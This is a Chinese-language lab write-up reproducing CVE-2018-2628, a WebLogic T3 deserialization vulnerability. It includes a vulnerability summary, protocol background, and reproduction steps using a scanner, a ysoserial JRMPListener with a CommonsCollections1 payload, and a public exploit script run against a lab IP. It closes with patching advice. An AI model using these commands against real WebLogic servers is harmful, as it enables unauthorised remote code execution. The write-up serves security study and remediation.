文章目录
- 1. Weblogic T3协议反序列化漏洞
- 1.1 漏洞描述
- 1.2 基本原理
- 1.3 漏洞复现
- 1.4 修复建议
1. Weblogic T3协议反序列化漏洞
1.1 漏洞描述
说明 | 内容 |
---|---|
漏洞编号 | CVE-2018-2628 |
漏洞名称 | Weblogic T3协议反序列化漏洞 |
漏洞评级 | 高危 |
影响范围 | Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3 |
漏洞描述 | 开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。 |
修复方案 | 升级组件 |
1.2 基本原理
T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。
T3协议:
用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。
RMI:
远程方法调用,除了该对象本身的虚拟机,其它的虚拟机也可以调用该对象的方法。(对象的虚拟化和反序列化广泛应用到RMI和网络传输中)
JRMP:
Java远程消息交换协议JRMP。
1.3 漏洞复现
环境启动
使用Nmap查看是否开启T3协议
从扫描结果可以看出目标主机已开启T3服务。
漏洞验证
使用扫描工具nacs
sudo ./nacs -h 192.168.188.185 -pa 7001
攻击操作
使用ysoserial启动一个JMRP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "touch /tmp/akemi.txt"
说明:'touch /tmp/akemi.txt’为执行的命令,8888是JRMP Server监听的端口。
然后利用该漏洞现存的exp进行攻击
exp下载地址。
python 44553.py 192.168.188.185 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.188.185 8888 JRMPClient
说明:由于该漏洞是在一台虚拟机上进行操作的,所以IP地址都是同一个。
- 192.168.188.185 7001 是weblogic启动环境的IP和端口。
- 192.168.188.185 8888 的JRMP 一端的IP地址和端口。
- JRMPClien是执行JRMPClient的类。
进入docker容器查看文件是否创建成功
1.4 修复建议
- 打上官方最新补丁。
- 控制T3服务的访问权限(添加白名单仅给指定几台主机使用)。